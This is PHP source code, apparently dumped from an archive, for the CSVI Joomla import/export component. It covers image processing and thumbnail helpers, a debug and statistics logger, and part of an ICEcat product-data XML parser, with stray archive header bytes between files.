($this->isRemote($name)) { $this->_imagedata['name'] = $name; $this->_imagedata['isremote'] = true; } else { $this->_imagedata['name'] = $base.'/'.JPath::clean($name, '/'); $this->_imagedata['isremote'] = false; } $this->_imagedata['output_path'] = $output_path; $this->_imagedata['output_name'] = (empty($output_name)) ? basename($name) : $output_name; $this->_imagedata['extension'] = JFile::getExt($name); $this->_imagedata['exists'] = false; $this->_imagedata['isimage'] = false; $this->_imagedata['mime_type'] = null; // Load externals jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); // See if we need to handle a remote file if ($this->_imagedata['isremote']) { $csvilog->addDebug('Process remote file: '.$this->_imagedata['name']); if (CsviHelper::fileExistsRemote($this->_imagedata['name'])) { $this->_imagedata['exists'] = true; // Check if this is an image or not if ($this->isImage($this->_imagedata['name'], true)) { $this->_imagedata['isimage'] = true; } } else { $csvilog->addDebug('Remote file does not exist: '.$this->_imagedata['name']); $this->_imagedata['exists'] = false; } } else if (JFile::exists($this->_imagedata['name'])) { $csvilog->addDebug('Process file: '.$this->_imagedata['name']); $this->_imagedata['exists'] = true; // Check if this is an image or not if ($this->isImage($this->_imagedata['name'])) { $this->_imagedata['isimage'] = true; } } else { // File does not exist $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_FILE_NOT_FOUND', $this->_imagedata['name'])); return $this->_imagedata; } // Process if it is an image if ($this->_imagedata['isimage']) { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_PROCESS_IMAGE')); // Clean up the images first $this->_cleanupImage(); // Convert the full image if ($this->_imagedata['convert']) $this->_convertImage(); // Save the remote images on the server if ($this->_imagedata['isremote'] && $template->get('save_images_on_server', 'image')) { // Sanitize filename $this->_imagedata['output_name'] = $this->_cleanFilename($this->_imagedata['output_name']); $from = $this->_imagedata['name']; $to = $this->_imagedata['base'].'/'.$this->_imagedata['output_path'].$this->_imagedata['output_name']; $csvilog->addDebug('Store remote file on server '.$from.' --> '.$to); if (JFile::exists($to)) JFile::delete($to); JFile::move($from, $to); } // Remove temporary file else if ($this->_imagedata['isremote']) { JFile::delete($this->_imagedata['name']); } // Check if any images need to be renamed $this->_renameImage(); // Check if the full image needs to be resized $this->_resizeFullimage(); // Convert images $this->_imageTypeCheck(); } else { if ($this->_imagedata['exists']) { $csvilog->addDebug('COM_CSVI_DEBUG_FILE_IS_NOT_IMAGE'.' '.$name); // Non image details $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_PROCESS_NON_IMAGE')); $this->collectFileDetails(); } } return $this->_imagedata; } /** * Check if a file is a remote file or not * * Remote images can be located on an HTTP location or an FTP location * * @copyright * @author RolandD * @todo * @see processImage() * @access private * @param $path string the full path to check * @return bool true if file is remote | false if file is not remote * @since 3.0 */ public function isRemote($path) { if (substr(strtolower($path), 0, 4) == 'http') return true; else if (substr(strtolower($path), 0, 3) == 'ftp') return true; else return false; } /** * Collect file details for non-image files * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 2.3.10 */ public function collectFileDetails() { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $this->_imagedata['mime_type'] = $this->findMimeType($this->_imagedata['name']); $this->_imagedata['isimage'] = 0; } /** * Create a thumbnail image * * @copyright * @author RolandD * @todo * @see * @access public * @param string $original the full path and name of the large image * @param string $output_path the path to store the thumbnail * @param string $output_name the name of the thumbnail * @return * @since 4.0 */ public function createThumbnail($original, $output_path, $output_name) { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $csvilog = $jinput->get('csvilog', null, null); $base = JPath::clean(JPATH_SITE, '/'); // Make sure the thumbnail is the same file type as the full image if ($template->get('thumb_check_filetype', 'image') && JFile::getExt($original) != JFile::getExt($output_name)) { $output_name = JFile::stripExt($output_name).'.'.JFile::getExt($original); } $output_name = $this->_setCase($output_name); // Check if the original is an external image if (!$this->isRemote($original)) { $original = $base.'/'.$original; $file_exists = JFile::exists($original); $remote = false; } else { $file_exists = CsviHelper::fileExistsRemote($original); $remote = true; } // Check if thumbsize is greater than 0 if ($template->get('thumb_width', 'image') >= 1 && $template->get('thumb_height', 'image') >= 1) { // Check if the image folders exists $thumb_folder = JPATH_SITE.'/'.$output_path.dirname($output_name); if (!JFolder::exists($thumb_folder)) { $csvilog->addDebug(JText::sprintf('COM_CSVI_CREATE_THUMB_FOLDER', $thumb_folder)); JFolder::create($thumb_folder); } // Check if the target thumb exists, if yes delete it if (JFile::exists($base.'/'.$output_path.$output_name)) JFile::delete($base.'/'.$output_path.$output_name); // Check if the original file exists $csvilog->addDebug(JText::sprintf('COM_CSVI_CHECK_ORIGINAL', $original)); if ($file_exists) { // Collect all thumbnail details $thumb_file_details = array(); $thumb_file_details['file'] = $original; $thumb_file_details['file_extension'] = JFile::getExt($original); $thumb_file_details['file_out'] = $base.'/'.$output_path.$output_name; $thumb_file_details['maxsize'] = 0; $thumb_file_details['bgred'] = 255; $thumb_file_details['bggreen'] = 255; $thumb_file_details['bgblue'] = 255; $thumb_file_details['file_out_width'] = $template->get('thumb_width', 'image'); $thumb_file_details['file_out_height'] = $template->get('thumb_height', 'image'); $thumb_file_details['file_out_extension'] = JFile::getExt($output_name); $thumb_file_details['mime_type'] = $this->findMimeType($original, $remote); // We need to resize the image and Save the new one (all done in the constructor) $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_CREATING_A_THUMBNAIL', $original, $thumb_file_details['file_out'])); $new_img = $this->convertImage($thumb_file_details); // Check if an image was created if ($new_img) { // Get the details of the thumb image if (JFile::exists($new_img)) { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_THUMB_CREATED')); return $output_path.$output_name; } else { $csvilog->addDebug(JText::_('COM_CSVI_THUMBNAIL_NOT_CREATED')); return false; } } else { $csvilog->addDebug(JText::_('COM_CSVI_THUMBNAIL_NOT_CREATED')); return false; } } else { $csvilog->addDebug(JText::sprintf('COM_CSVI_FILE_DOES_NOT_EXIST_NOTHING_TO_DO', $original)); $csvilog->AddStats('nofiles', JText::sprintf('COM_CSVI_FILE_DOES_NOT_EXIST_NOTHING_TO_DO', $original)); return false; } } else { $csvilog->addDebug(JText::_('COM_CSVI_THUMBNAIL_SIZE_TOO_SMALL')); $csvilog->AddStats('incorrect', JText::_('COM_CSVI_THUMBNAIL_SIZE_TOO_SMALL')); return false; } } /** * Clean up the full image * * Clean up the image from any incorrect paths * * Minimum requirement is PHP 5.2.0 * * [full_image] => Array * ( * [isremote] => 1 * [exists] => 1 * [isimage] => 1 * [name] => R05-01 -- R05-01 (700).jpg * [filename] => R05-01 -- R05-01 (700) * [extension] => jpg * [folder] => http://csvi3 * [output_name] => R05-01 -- R05-01 (700).jpg * [output_filename] => R05-01 -- R05-01 (700) * [output_extension] => jpg * [output_folder] => http://csvi3 * [mime_type] => image/jpeg * ) * * @copyright * @author RolandD * @todo handle image paths included in the image name * @todo not delete the old image, it might be referenced by another product * @see http://www.php.net/pathinfo * @access private * @param * @return * @since 3.0 */ private function _cleanupImage() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); if ($this->_imagedata['isremote'] && $template->get('save_images_on_server', 'image')) { // Collect remote file information $local_image = CSVIPATH_TMP.'/'.$this->_cleanFilename(basename($this->_imagedata['name'])); // Store the remote image if ($this->_storeRemoteImage($this->_imagedata['name'], $local_image)) { $csvilog->addDebug('Remote file stored: '.$this->_imagedata['name'].' --> '.$local_image); // Update full image information $this->_imagedata['name'] = $local_image; // Get the mime type $mime_type = $this->findMimeType($local_image); } else { $csvilog->AddStats('nofiles', JText::sprintf('COM_CSVI_REMOTE_FILE_NOT_FOUND', $this->_imagedata['name'])); $csvilog->addDebug(JText::sprintf('COM_CSVI_REMOTE_FILE_NOT_FOUND', $this->_imagedata['name'])); } } else if ($this->_imagedata['isremote']) { $mime_type = $this->findMimeType($this->_imagedata['name'], true); $this->_imagedata['output_path'] = dirname($this->_imagedata['name']).'/'; } else if (!$this->_imagedata['isremote']) { $mime_type = $this->findMimeType($this->_imagedata['name']); } // Set the mime type $csvilog->addDebug('Mime type found: '.$mime_type); $this->_imagedata['mime_type'] = $mime_type; // Validate extension against mime type $type = ''; $ext = ''; list($type, $ext) = explode('/', $mime_type); if ($ext == 'jpeg') $ext = 'jpg'; // Get the extension of the target image name $output_ext = JFile::getExt($this->_imagedata['output_name']); if ($ext != strtolower($output_ext)) { // Fix up the new names $basename = basename($this->_imagedata['name'], $this->_imagedata['extension']); $to = dirname($this->_imagedata['name']).'/'.$basename.$ext; // Set the new output name //$this->_imagedata['output_name'] = JFile::stripExt($this->_imagedata['name']).$ext; $csvilog->addDebug('Renaming full image because bad extension: '.$this->_imagedata['name'].' --> '.$to); // Rename the file if (JFile::exists($this->_imagedata['name'])) { if (!JFile::move($this->_imagedata['name'], $to)) return false; else { $this->_imagedata['name'] = $to; } } } // Check for a valid extenion if (empty($this->_imagedata['extension']) && $type == 'image') { $this->_imagedata['extension'] = $ext; } // Set a new extension if the image needs to be converted $convert_type = $template->get('convert_type', 'image'); if ($convert_type != 'none' && $convert_type != $this->_imagedata['extension']) { $this->_imagedata['output_name'] = JFile::stripExt(basename($this->_imagedata['name'])).'.'.$convert_type; $this->_imagedata['convert'] = true; } else $this->_imagedata['convert'] = false; // Set the file case $this->_imagedata['output_name'] = $this->_setCase($this->_imagedata['output_name']); // Add some debug info $csvilog->addDebug('Full name original: '.$this->_imagedata['name']); $csvilog->addDebug('Full name target: '.$this->_imagedata['output_path'].$this->_imagedata['output_name']); } /** * Store a remote image on the local server * * @copyright * @author RolandD * @todo * @see * @access private * @param $remote_image string the url of the remote image * @param $local_image string the full path and file name of the image to store * @return bool true if remote file was locally written | false if remote file was not locally written * @since */ private function _storeRemoteImage($remote_image, $local_image) { return JFile::write($local_image, JFile::read($remote_image)); } /** * Convert the full image to another type * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _convertImage() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); // Let's see if the extensions are the same if ($this->_imagedata['convert'] && !$this->_imagedata['isremote']) { // Collect the image details $file_details = array(); $file_details['file'] = $this->_imagedata['name']; $file_details['file_extension'] = JFile::getExt($this->_imagedata['name']); $file_details['file_out'] = $this->_imagedata['base'].$this->_imagedata['output_path'].'/'.$this->_imagedata['output_name']; $file_details['maxsize'] = 0; $file_details['bgred'] = 255; $file_details['bggreen'] = 255; $file_details['bgblue'] = 255; $new_sizes = getimagesize($this->_imagedata['name']); $file_details['file_out_width'] = $new_sizes[0]; $file_details['file_out_height'] = $new_sizes[1]; $file_details['file_out_extension'] = JFile::getExt($this->_imagedata['output_name']); $file_details['mime_type'] = $this->_imagedata['mime_type']; // We need to resize the image and Save the new one (all done in the constructor) $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_CONVERT_IMAGE', $file_details['file'], $file_details['file_out'])); $new_img = $this->convertImage($file_details); if ($new_img) { $csvilog->addDebug(JText::sprintf('COM_CSVI_IMAGE_CONVERTED', $file_details['file'])); // See if we need to keep the old image if (!$template->get('keep_original', 'image') && JFile::exists($file_details['file'])) JFile::delete($file_details['file']); // We have a new name, so refresh the info $this->_imagedata['name'] = dirname($this->_imagedata['name']).'/'.$this->_imagedata['output_name']; $this->_imagedata['mime_type'] = $this->findMimeType($this->_imagedata['base'].$this->_imagedata['output_path'].'/'.$this->_imagedata['output_name']); return true; } else { $csvilog->addDebug(JText::_('COM_CSVI_IMAGE_NOT_CONVERTED')); return false; } } } /** * Rename image * * Rename an image, any existing file will be deleted * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _renameImage() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); if (!$this->_imagedata['isremote'] && $template->get('auto_generate_image_name', 'image') && (basename($this->_imagedata['name']) != $this->_imagedata['output_name']) && $template->get('convert_type', 'image') == 'none') { $from = $this->_imagedata['name']; if (JFile::exists($from)) { $to = $this->_imagedata['base'].'/'.$this->_imagedata['output_path'].$this->_imagedata['output_name']; $csvilog->addDebug(JText::sprintf('COM_CSVI_RENAME_FULL_FILE', $from, $to)); // Delete existing target image if (JFile::exists($to)) JFile::delete($to); // Check if the user wants to keep the original if ($template->get('keep_original', 'image')) { // Rename the image JFile::copy($from, $to); } else { // Rename the image JFile::move($from, $to); } } else { $csvilog->addDebug(JText::sprintf('COM_CSVI_RENAME_FULL_FILE_NOT_FOUND', $from)); } } } /** * Check if we need to convert the final image based on mime type * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 2.3.7 */ private function _imageTypeCheck() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); // Get the output mime-type $output_ext = JFile::getExt($this->_imagedata['output_name']); // Check if the mime-type is different and if so, convert image if (!$this->_imagedata['isremote'] && JFile::exists($this->_imagedata['name']) && !stristr($this->_imagedata['mime_type'], $output_ext)) { $file_details = array(); $file_details['file'] = $this->_imagedata['name']; $file_details['file_extension'] = JFile::getExt($this->_imagedata['name']); $file_details['maxsize'] = 0; $file_details['bgred'] = 255; $file_details['bggreen'] = 255; $file_details['bgblue'] = 255; $file_details['file_out'] = $this->_imagedata['base'].'/'.$this->_imagedata['output_path'].$this->_imagedata['output_name']; $new_sizes = getimagesize($this->_imagedata['name']); $file_details['file_out_width'] = $new_sizes[0]; $file_details['file_out_height'] = $new_sizes[1]; $file_details['file_out_extension'] = $output_ext; $file_details['mime_type'] = $this->_imagedata['mime_type']; /* We need to resize the image and Save the new one (all done in the constructor) */ $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_CONVERT_TYPE_CHECK', $file_details['file'], $file_details['file_out'])); $new_img = $this->convertImage($file_details); if ($new_img) $csvilog->addDebug(JText::sprintf('COM_CSVI_IMAGE_CONVERTED', $file_details['file'])); else $csvilog->addDebug(JText::sprintf('COM_CSVI_IMAGE_NOT_CONVERTED', $file_details['file'])); } // We have a remote image, update the mime type since we can't convert images on remote servers else if ($this->_imagedata['isremote']) { $mime_type = $this->findMimeType($this->_imagedata['output_path'].$this->_imagedata['output_name'], true); if ($mime_type) $this->_imagedata['mime_type'] = $mime_type; else $csvilog->addDebug(JText::_('COM_CSVI_CANNOT_FIND_REMOTE_MIMETYPE')); } } /** * Clean filename * * Cleans up a filename and replaces non-supported characters with an underscore * * @copyright * @author RolandD * @todo * @see * @access private * @param $value string the value to clean * @return string the cleaned up value * @since 3.0 */ private function _cleanFilename($value) { return (string) preg_replace('/[^A-Z0-9_\.-\s]/i', '_', $value); } /** * Change the case of any given string * * @copyright * @author RolandD * @todo * @see * @access private * @param string $name the string to be case changed * @return string the case changed string * @since 3.0 */ private function _setCase($name) { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); // Set the case if needed switch ($template->get('change_case', 'image')) { case 'lcase': return strtolower($name); break; case 'ucase': return strtoupper($name); break; case 'ucfirst': return ucfirst($name); break; case 'ucwords': return ucwords($name); break; default: return $name; break; } } /** * Resize a large image * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _resizeFullImage() { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $csvilog = $jinput->get('csvilog', null, null); // Check if we need to resize the full image if ($template->get('full_resize', 'image')) { // Get the current size $checkfile = $this->_imagedata['base'].'/'.$this->_imagedata['output_path'].$this->_imagedata['output_name']; if (JFile::exists($checkfile)) { $cur_size = getimagesize($checkfile); if ($cur_size[0] > $template->get('full_width', 'image') || $cur_size[1] > $template->get('full_height', 'image')) { // Resize the image $file_details = array(); $file_details['file'] = $checkfile; $file_details['file_extension'] = JFile::getExt($checkfile); $file_details['rename'] = 0; $file_details['file_out'] = $checkfile; $file_details['maxsize'] = 0; $file_details['bgred'] = 255; $file_details['bggreen'] = 255; $file_details['bgblue'] = 255; $file_details['file_out_width'] = $template->get('full_width', 'image'); $file_details['file_out_height'] = $template->get('full_height', 'image'); $file_details['file_out_extension'] = JFile::getExt($checkfile); $file_details['mime_type'] = $this->_imagedata['mime_type']; // We need to resize the image and Save the new one (all done in the constructor) $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_RESIZE_IMAGE', $file_details['file'], $cur_size[1].'x'.$cur_size[0], $template->get('full_height', 'image').'x'.$template->get('full_width', 'image'))); $new_img = $this->convertImage($file_details); if ($new_img) $csvilog->addDebug(JText::_('COM_CSVI_FULL_IMAGE_RESIZED')); } } } } } ?> PK@y>\ }--#components/com_csvi/helpers/log.phpnuW+Ainput; $settings = $jinput->get('settings', null, null); $this->_log_line_start = $settings->get('debuglog.log_line_start', 1); $this->_log_line_end = $settings->get('debuglog.log_line_end', 5); } /** * Clean up old log entries * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return void * @since 3.0 */ public function cleanUpLogs() { // Load the settings $jinput = JFactory::getApplication()->input; $settings = $jinput->get('settings', null, null); $max = $settings->get('log.log_max', 25); $cid = array(); // Check if there are any logs to remove $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('run_id'); $query->from('#__csvi_logs'); $query->order('id'); $db->setQuery($query); $dblogs = $db->loadResultArray(); $this->addDebug(JText::sprintf('COM_CSVI_CLEAN_OLD_LOGS', count($dblogs), $max), false, 'DEBUG', true); if (count($dblogs) > $max) { $jinput->set('cid', array_slice($dblogs, 0, (count($dblogs)-$max))); // Load the log model require_once(JPATH_COMPONENT_ADMINISTRATOR.'/models/log.php'); $log_model = new CsviModelLog(); $log_model->getDelete(); } } /** * Invoke the Joomla logger * * @copyright * @author RolandD * @todo * @see * @access public * @param string $comment The comment to log * @param int $linenr The linenumber concerned * @param string $action The type of action * @return void * @since 3.0 */ public function simpleLog($comment, $linenr, $action) { // Include the library dependancies jimport('joomla.log.log'); // Set the logfile $this->getLogName(); // Create the instance of the log file in case we use it later $options = array('text_entry_format' => "{DATE}\t{TIME}\t{LINE_NR}\t{ACTION}\t{COMMENT}", 'text_file' => $this->logfile, 'text_file_path' => $this->logpath); JLog::addLogger($options); $entry = new JLogEntry($comment); $entry->comment = $comment; $entry->line_nr = $linenr; $entry->action = $action; JLog::add($entry); } /** * Return the name of the logfile * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return string The name of the logfile * @since 3.0 */ public function getLogName() { $this->logfile = 'com_csvi.log.'.$this->getId().'.php'; $this->logpath = CSVIPATH_DEBUG; return $this->logpath.'/'.$this->logfile; } /** * Set the current line number * * @copyright * @author RolandD * @todo * @see * @access public * @param int $linenumber The current linenumber * @return bool true * @since 3.0 */ public function setLinenumber($linenumber) { $this->_linenumber = $linenumber; return true; } /** * Set the import/export ID * * @copyright * @author RolandD * @todo * @see * @access public * @param int $id The ID to set * @return int the ID * @since 3.0 */ public function setId($id=false) { if ($id) $this->_id = $id; else $this->_id = time(); return $this->_id; } /** * Get the import/export ID * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return int the ID * @since 3.0 */ public function getId() { return $this->_id; } /** * Set the filename used for import/export * * @copyright * @author RolandD * @todo * @see * @access public * @param string $filename the full path and filename of the import/export file * @return void * @since */ public function setFilename($filename) { $this->_filename = $filename; } /** * Get the import filename * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return string the full path and filename of the logfile * @since */ public function getFilename() { return $this->_filename; } /** * Set the log ID * * @copyright * @author RolandD * @todo * @see * @access public * @param int $id The log ID to set * @return void * @since 3.0 */ public function setLogid($id) { $this->_logid = $id; } /** * Get the log ID * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return int The current log ID * @since 3.0 */ public function getLogid() { return $this->_logid; } /** * Enable the debugger * * @copyright * @author RolandD * @todo * @see * @access public * @param bool $val Set the logging on or off * @return void * @since 3.0 */ public function setDebug($val) { $this->_debug = $val; } /** * Adds a message to the log file * * @copyright * @author RolandD * @todo * @see * @access public * @param string $message message to add to the debug log * @param string $sql if true adds the sql statement * @param string $action the kind of action to qualify the message for * @param boolean $override sets if the line check should be overridden * @return * @since 3.0 */ public function addDebug($message, $sql=false, $action='DEBUG', $override=false) { // Check if we should add the log line if ($this->_debug) { if ($override || $this->_linenumber == 0 || ($this->_linenumber >= $this->_log_line_start && $this->_linenumber <= $this->_log_line_end)) { $this->simpleLog(JText::_($message), $this->_linenumber, '['.$action.']'); if ($sql) { $db = JFactory::getDbo(); $qmsg = ''; if ($db->getErrorNum() > 0) { $qmsg .= $db->getErrorMsg(); $qaction = 'SQL ERROR'; } else { $qmsg .= $db->getQuery(); $qaction = 'QUERY'; } $qmsg = str_replace(array("\r\n", "\n", "\r", "\t"), ' ', $qmsg); $this->simpleLog($qmsg, $this->_linenumber, '['.$qaction.']'); } } } } /** * Adds a message to the statistics stack * *

      * Types: * --> Products * updated * deleted * added * skipped * incorrect * --> DB tables * empty * --> Fields * nosupport * --> No files found multiple images * nofiles * --> General information * information *

      * * @param string $type type of message * @param string $message message to add to the stack */ function AddStats($type, $message) { // Load the settings $jinput = JFactory::getApplication()->input; $settings = $jinput->get('settings', null, null); $message = JText::_($message); switch ($type) { case 'updated': case 'deleted': case 'added': case 'empty': if ($settings->get('log.log_type', 'all') == 'all') $this->_addMessage($type, $message); break; case 'incorrect': case 'nosupport': if ($settings->get('log.log_type', 'all') == 'all' || $settings->get('log.log_type') == 'failure' || $settings->get('log.log_type') == 'failure_notice') $this->_addMessage($type, $message); break; case 'information': case 'nofiles': case 'skipped': if ($settings->get('log.log_type', 'all') == 'all' || $settings->get('log.log_type') == 'notice' || $settings->get('log.log_type') == 'failure_notice') $this->_addMessage($type, $message); break; case 'nosupport': $this->stats['nosupport'] = true; break; } } /** * Add a message to the statistics stack * * @copyright * @author RolandD * @todo * @see * @access private * @param string $type The type to add * @param string $message The message to add * @return void * @since 3.0 */ private function _addMessage($type, $message) { // Set the result $success = array('updated', 'deleted', 'added', 'empty'); $failure = array('incorrect', 'nosupport'); $notice = array('information', 'nofiles','skipped'); if (in_array($type, $success)) $result = JText::_('COM_CSVI_SUCCESS'); else if (in_array($type, $failure)) $result = JText::_('COM_CSVI_FAILURE'); else if (in_array($type, $notice)) $result = JText::_('COM_CSVI_NOTICE'); else $result = ''; if (!isset($this->stats[$this->_linenumber]['status'][$type])) { $this->stats[$this->_linenumber]['status'][$type]['message'] = $message."
      \n"; } else { $this->stats[$this->_linenumber]['status'][$type]['message'] .= $message."
      \n"; } $this->stats[$this->_linenumber]['status'][$type]['result'] = $result; } /** * Retrieves the log message * @return string returns the log message */ function GetLogMessage() { return $this->logmessage; } /** * Retrieves the debug message * @return string returns the debug message */ function GetDebugMessage() { return $this->debug_message; } /** * Retrieves the line number * @return string returns the debug message */ function GetLineNumber() { return $this->_linenumber; } /** * Retrieves the statistics array * @return array returns the statistics array */ public function getStats() { return $this->stats; } /** * Retrieves the statistics array * @return array returns the statistics array */ public function cleanStats() { $runstats['action'] = $this->stats['action']; $runstats['action_type'] = $this->stats['action_type']; $runstats['action_template'] = $this->stats['action_template']; $this->stats = array(); $this->stats = $runstats; } /** * Set the type of action the log is for */ public function SetAction($action) { $this->stats['action'] = strtolower($action); } /** * Set the type of action the log is for */ public function SetActionType($action, $template_name='') { $this->stats['action_type'] = strtolower($action); $this->stats['action_template'] = $template_name; } } ?> PK@y>\77&components/com_csvi/helpers/icecat.phpnuW+Ainput; $db = JFactory::getDbo(); $csvilog = $jinput->get('csvilog', null, null); // Find the ICEcat ID $q = "SELECT product_id FROM ".$db->quoteName('#__csvi_icecat_index')." AS i LEFT JOIN ".$db->quoteName('#__csvi_icecat_suppliers')." AS s ON s.supplier_id = i.supplier_id WHERE i.".$db->quoteName('prod_id')." = ".$db->Quote($mpn)." AND s.".$db->quoteName('supplier_name')." = ".$db->Quote($mf_name); $db->setQuery($q); $csvilog->addDebug(JText::_('COM_CSVI_FIND_ICECAT_ID'), true); $icecat_id = $db->loadResult(); // See if we have a match, otherwise try to search more liberal if (!$icecat_id) { $q = "SELECT product_id FROM ".$db->quoteName('#__csvi_icecat_index')." AS i LEFT JOIN ".$db->quoteName('#__csvi_icecat_suppliers')." AS s ON s.supplier_id = i.supplier_id WHERE i.".$db->quoteName('prod_id')." LIKE ".$db->Quote($mpn.'%')." AND s.".$db->quoteName('supplier_name')." = ".$db->Quote($mf_name); $db->setQuery($q); $csvilog->addDebug(JText::_('COM_CSVI_FIND_ICECAT_ID'), true); $icecat_id = $db->loadResult(); } // See if we have an ICEcat ID if ($icecat_id) { // Setup the XML parser if ($this->_setupXmlParser()) { // Call ICEcat to get the data $this->_callIcecat($icecat_id); // See if we have any valid data if ($this->_data) { // Clean some data $this->_csvi_data = array(); // Parse the XML data if (!xml_parse($this->_xml_parser, $this->_data, true)) { die(sprintf("XML error: %s at line %d\n", xml_error_string(xml_get_error_code($this->_xml_parser)), xml_get_current_line_number($this->_xml_parser))); } xml_parser_free($this->_xml_parser); return $this->_csvi_data; } } else return false; } else return false; } /** * Process start elements * * @copyright * @author RolandD * @todo optimize building for specific imports * @see * @access private * @param * @return * @since 3.0 */ private function _startElement($parser, $tagname, $attribs) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $tagname = strtolower($tagname); if (count($this->_open_tags) >= 1) { $parent_tag = $this->_open_tags[(count($this->_open_tags) - 1)]; } else $parent_tag = ''; switch ($tagname) { case 'product': switch ($parent_tag) { case 'productrelated': // Related products if (!array_key_exists('related_products', $this->_csvi_data)) $this->_csvi_data['related_products'] = ''; $this->_csvi_data['related_products'] .= $attribs['PROD_ID'].'|'; break; default: // See if we have an error if (array_key_exists('CODE', $attribs) && $attribs['CODE'] == '-1') { $csvilog->addDebug(JText::sprintf('COM_CSVI_ICECAT_ERROR_XML', $attribs['ERRORMESSAGE'])); } else { // Process the attributes // SKU $this->_csvi_data['product_sku'] = $attribs['PROD_ID']; // Name $this->_csvi_data['product_name'] = $attribs['NAME']; // Images $this->_csvi_data['file_url'] = $attribs['HIGHPIC']; $this->_csvi_data['file_url_thumb'] = $attribs['THUMBPIC']; // Release date comes int he form YYYY-MM-DD if (strpos($attribs['RELEASEDATE'], '-')) { list($year, $month, $day) = explode('-', $attribs['RELEASEDATE']); $this->_csvi_data['product_available_date'] = $day.'/'.$month.'/'.$year; } } break; } break; case 'productfeature': switch ($parent_tag) { default: $this->_csvi_data['pf'] = $attribs['PRESENTATION_VALUE']; break; } break; case 'name': switch ($parent_tag) { case 'category': // Category $this->_csvi_data['category_path'] = $attribs['VALUE']; break; case 'feature': $find = array(' ', '/'); $feature = strtolower(str_replace($find, '_', $attribs['VALUE'])); $csvilog->addDebug(JText::sprintf('COM_CSVI_ICECAT_FOUND_FEATURE', $feature)); $this->_csvi_data[$feature] = $this->_csvi_data['pf']; $this->_csvi_data['pf'] = null; break; } break; case 'productpicture': if (!empty($attribs)) { // Process the attribs // $this->_csvi_data['product_files_file_name'][] = $attribs['THUMBPIC']; $this->_csvi_data['product_files_file_url'][] = $attribs['PIC']; $this->_csvi_data['product_files_file_title'][] = basename($attribs['THUMBPIC']); $this->_csvi_data['product_files_file_published'] = 'Y'; } break; case 'productdescription': if (isset($attribs['LONGDESC'])) $this->_csvi_data['product_desc'] = str_ireplace('\n', '
      ', $attribs['LONGDESC']); else $this->_csvi_data['product_desc'] = ''; if (isset($attribs['SHORTDESC'])) $this->_csvi_data['product_s_desc'] = $attribs['SHORTDESC']; else $this->_csvi_data['product_s_desc'] = ''; break; case 'shortsummarydescription': // $this->_csvi_data['product_s_desc'] = ''; break; case 'longsummarydescription': // $this->_csvi_data['product_desc'] = ''; break; case 'supplier': $this->_csvi_data['manufacturer_name'] = $attribs['NAME']; break; case 'productdescription': // if (!empty($attribs['MANUALPDFURL'])) { $this->_csvi_data['product_files_file_name'][] = $attribs['MANUALPDFURL']; $this->_csvi_data['product_files_file_url'][] = $attribs['MANUALPDFURL']; $this->_csvi_data['product_files_file_title'][] = basename($attribs['MANUALPDFURL']); } if (!empty($attribs['PDFURL'])) { $this->_csvi_data['product_files_file_name'][] = $attribs['PDFURL']; $this->_csvi_data['product_files_file_url'][] = $attribs['PDFURL']; $this->_csvi_data['product_files_file_title'][] = basename($attribs['PDFURL']); } break; default: break; } // Add the tagname of the list of processing tags $this->_open_tags[] = $tagname; } /** * Process end elements * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _endElement($parser, $tagname) { // Remove the current tag as we are done with it array_pop($this->_open_tags); } /** * Process the inner data * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _characterData($parser, $data) { $current_tag = end($this->_open_tags); switch ($current_tag) { case 'shortsummarydescription': // $this->_csvi_data['product_s_desc'] .= $data; break; case 'longsummarydescription': // $this->_csvi_data['product_desc'] .= $data; break; } } /** * Set up the XML parser * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _setupXmlParser() { $this->_xml_parser = xml_parser_create("UTF-8"); xml_parser_set_option($this->_xml_parser, XML_OPTION_CASE_FOLDING, 1); xml_set_object($this->_xml_parser, $this); xml_set_element_handler($this->_xml_parser, "_startElement", "_endElement"); xml_set_character_data_handler($this->_xml_parser, "_characterData"); if ($this->_xml_parser) return true; else return false; } /** * Request the data from ICEcat * * There are different URLs to get the data from: * * Open ICEcat users have access to: * http://data.icecat.biz/export/freexml.int/INT/ for access to the standardized data files (QUALITY=ICECAT). * The language-specific data-files are found here: * http://data.icecat.biz/export/freexml.int/[code]/[product_id].xml, where [code] stands e.g. for NL, EN, FR, DE, IT, ES, DK etc. * * For the Full ICEcat subscribers, a separate directory structure is in place. The standardized files are located at: * http://data.icecat.biz/export/level4/INT * and the language dependent versions are found here: * 